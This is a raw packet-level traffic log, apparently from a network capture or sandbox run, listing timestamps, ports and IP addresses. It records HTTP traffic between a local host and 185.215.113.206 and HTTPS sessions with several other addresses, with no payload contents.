Oct 30, 2024 04:34:40.945291996 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.945303917 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.945312023 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.945339918 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.945550919 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.945590973 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.945636988 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.945770025 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.945780993 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.945791960 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.945806026 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.945816994 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.945841074 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.945871115 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.946111917 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.946146965 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.946158886 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.946192026 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.946194887 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.946208954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.946221113 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.946244001 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.946654081 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.946679115 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.946690083 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.946751118 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.960270882 CET	443	51030	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.960355043 CET	443	51030	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.960484982 CET	443	51030	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.960550070 CET	51030	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.962127924 CET	51030	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.962147951 CET	443	51030	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.962560892 CET	51039	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.962573051 CET	443	51039	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.962791920 CET	51039	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.963404894 CET	51039	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.963416100 CET	443	51039	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.973699093 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.973737001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.973748922 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.973778963 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.973807096 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.973809958 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.973819017 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.973840952 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.973869085 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.977880001 CET	443	51029	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.977907896 CET	443	51029	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.977981091 CET	51029	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.977988958 CET	443	51029	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.978051901 CET	443	51029	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.978291988 CET	51029	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.997426987 CET	51029	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.997437954 CET	443	51029	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.997879982 CET	51040	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.997910976 CET	443	51040	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.998102903 CET	51040	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:41.003124952 CET	51040	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:41.003139019 CET	443	51040	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.014264107 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.014276981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.014287949 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.014328003 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.014363050 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.023425102 CET	443	51028	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.023490906 CET	443	51028	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.023559093 CET	51028	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:41.028887987 CET	51028	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:41.028908968 CET	443	51028	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.030064106 CET	443	51032	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.041716099 CET	51032	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.041738033 CET	443	51032	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.042572021 CET	51032	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.042576075 CET	443	51032	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.056858063 CET	443	51033	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.058021069 CET	51033	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.058042049 CET	443	51033	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.058455944 CET	51033	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.058460951 CET	443	51033	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.068367004 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.068402052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.068433046 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.068470001 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.068608999 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.068665028 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.068666935 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.068681002 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.068691969 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.068717957 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.068741083 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.068834066 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.068877935 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.069025040 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.069037914 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.069075108 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.069117069 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.069128036 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.069158077 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.069180012 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.069425106 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.069437027 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.069447041 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.069464922 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.069478989 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.069494963 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.069499969 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.069509983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.069549084 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.070019007 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.070029974 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.070040941 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.070080996 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.070097923 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.074953079 CET	51031	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:41.097003937 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.097023010 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.097033978 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.097059965 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.097068071 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.097081900 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.097081900 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.097116947 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.097161055 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.097172976 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.097182989 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.097207069 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.097234964 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.109205008 CET	443	51034	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.137393951 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.137408972 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.137464046 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.137475014 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.137485027 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.137526035 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.138854980 CET	443	51035	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.154433012 CET	51034	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.154445887 CET	443	51034	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.155107021 CET	51034	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.155111074 CET	443	51034	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.155651093 CET	51035	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.155669928 CET	443	51035	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.156024933 CET	51035	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.156030893 CET	443	51035	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.170258999 CET	443	51032	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.170399904 CET	443	51032	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.170450926 CET	51032	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.170922995 CET	51032	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.170931101 CET	443	51032	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.170941114 CET	51032	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.170944929 CET	443	51032	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.178231001 CET	443	51023	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.178311110 CET	443	51023	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.178436995 CET	51023	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:41.178452015 CET	443	51023	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.178489923 CET	443	51023	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.178555965 CET	51023	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:41.181277037 CET	51041	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.181310892 CET	443	51041	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.181468964 CET	51041	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.181838989 CET	51041	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.181857109 CET	443	51041	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.188150883 CET	443	51033	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.188224077 CET	443	51033	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.188261032 CET	443	51033	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.188297987 CET	51033	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.188352108 CET	51033	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.192110062 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.192131996 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.192142963 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.192174911 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.192214012 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.192250013 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.192262888 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.192274094 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.192286968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.192291975 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.192320108 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.192325115 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.192347050 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.192373037 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.192610979 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.192622900 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.192634106 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.192652941 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.192668915 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.192691088 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.192703962 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.192743063 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.193197012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.193208933 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.193218946 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.193250895 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.193283081 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.202260971 CET	51033	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.202285051 CET	443	51033	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.202296019 CET	51033	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.202301979 CET	443	51033	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.206521034 CET	443	51036	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.213650942 CET	51042	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.213685036 CET	443	51042	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.213752031 CET	51042	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.214334965 CET	51023	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:41.214361906 CET	443	51023	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.220326900 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.220365047 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.220376015 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.220422983 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.221143961 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.221159935 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.221170902 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.221184969 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.221201897 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.221213102 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.221213102 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.221226931 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.221235991 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.221235991 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.221257925 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.221276999 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.233751059 CET	51036	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.233781099 CET	443	51036	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.234215975 CET	51036	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.234220982 CET	443	51036	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.234544992 CET	51042	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.234591007 CET	443	51042	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.242927074 CET	443	51031	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.242949009 CET	443	51031	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.243005991 CET	51031	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:41.243016958 CET	443	51031	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.243029118 CET	443	51031	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.243067026 CET	51031	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:41.248806000 CET	51031	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:41.248821974 CET	443	51031	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.260868073 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.260885954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.260938883 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.261087894 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.261109114 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.261127949 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.261162996 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.263876915 CET	443	51027	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.263909101 CET	443	51027	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.263976097 CET	51027	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:41.263988018 CET	443	51027	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.264183998 CET	51027	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:41.270298004 CET	51027	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:41.270307064 CET	443	51027	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:41.283853054 CET	443	51035	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.283907890 CET	443	51035	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.283963919 CET	443	51035	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.284024000 CET	51035	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.284024000 CET	51035	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.284306049 CET	443	51034	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.284477949 CET	443	51034	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.284535885 CET	51034	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.286200047 CET	51043	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.286223888 CET	443	51043	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.286281109 CET	51043	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.286515951 CET	51044	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.286546946 CET	443	51044	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.286607981 CET	51044	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.286762953 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.286808968 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.286856890 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.286995888 CET	51046	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.287003040 CET	443	51046	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.287045956 CET	51046	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.287184954 CET	51047	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.287206888 CET	443	51047	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.287600994 CET	51047	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.287616014 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.287652016 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.287714005 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.287941933 CET	51043	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.287961960 CET	443	51043	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.288095951 CET	51044	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.288110018 CET	443	51044	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.288403034 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.288419008 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.288507938 CET	51046	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.288515091 CET	443	51046	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.288611889 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.288625002 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.288721085 CET	51047	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.288737059 CET	443	51047	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.296643019 CET	51035	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.296654940 CET	443	51035	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.296672106 CET	51035	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.296677113 CET	443	51035	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.315587997 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.315609932 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.315623045 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.315677881 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.315681934 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.315694094 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.315706015 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.315710068 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.315752983 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.315825939 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.315875053 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.315886974 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.315915108 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.315937042 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.315989017 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.316000938 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.316013098 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.316025019 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.316035986 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.316066027 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.316087008 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.316160917 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.316658974 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.316709995 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.316715002 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.316728115 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.316766024 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.318499088 CET	51034	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.318499088 CET	51034	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.318527937 CET	443	51034	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.318548918 CET	443	51034	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.323242903 CET	51049	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.323268890 CET	443	51049	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.323331118 CET	51049	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.323407888 CET	51050	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.323429108 CET	443	51050	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.323523045 CET	51050	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.323827028 CET	51049	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.323836088 CET	443	51049	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.324162006 CET	51050	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.324176073 CET	443	51050	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.343684912 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.343697071 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.343710899 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.343714952 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.343787909 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.344296932 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.344315052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.344327927 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.344351053 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.344368935 CET	50987	80	192.168.2.6	185.215.113.206
